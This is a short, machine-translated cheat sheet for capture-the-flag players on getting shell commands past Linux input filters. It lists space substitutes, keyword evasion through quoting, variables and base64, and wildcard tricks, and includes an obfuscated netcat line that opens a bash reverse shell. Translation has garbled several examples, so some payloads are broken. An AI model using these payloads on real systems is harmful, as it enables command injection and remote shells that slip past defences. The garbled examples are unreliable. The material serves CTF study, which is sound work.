linux command to bypass

Preface:

Often encounter some of the timing of the match ctf do some linux commands to filter out here will summarize some specific ways to bypass.

First, bypassing the space:

  {cat,flag.txt}
  cat${IFS}flag.txt
  cat$IFS$9flag.txt
  cat<flag.txt
  cat<>flag.txt

  kg=$'\x20flag.txt'&&cat$kg
  (\ X20 space is converted to a string, here cleverly bypassed by way of variable)

Second, the sensitive character bypass:

Assume filtered cat

1. The use of variable bypass:

ac;b=at;$a$b

2. The bypass coded using base

`echo 'Y2F0Cg==' | base64 -d` test.txt

3. Truncated bypass connector:

 c'a't test.txt
 c\at test.txt
 ca$@t test.txt

Third, bypassing the wildcard

? In linux which can be replaced by an arbitrary character:

/ ??? / [L- n-] Alternatively S LS
 / ??? / C? T cat test.txt Alternatively test.txt

* In linux which can be replaced by any number of any character:

ls * .php list all php files in the current directory

No Alphanumeric match:

If we encounter will be a positive $ alphanumeric these are filtered out, we want to execute a script, then
if the script name chakdiD and in the root directory / etc, we can use:

. /???/???????[@-[]
[@ - [] indicate to take from the @ character [between the characters that are between uppercase. This realization of the non-alphanumeric order matching, you can bypass the regular.

To a matching table:

character	Explanation
*	Matches any character of any length
?	Matches any single character
[list]	Matching the specified range (list) any single character, or may be a collection of individual characters
[^list]	Matches any single character or a character set outside the specified range
[!list]	With [^ list]
{Str1, str2, ...}	Srt1 matching string or srt2 or more, may be set

A few examples:

 /???/[:lower:]s
 /?s?/???/[n]c 2130706433 8888 -e /???/b??h
  {ls / ru / tmp} n

Character map Reference: https://www.secpulse.com/archives/96374.html

Reference Gangster use wildcards: https://www.freebuf.com/articles/web/186298.html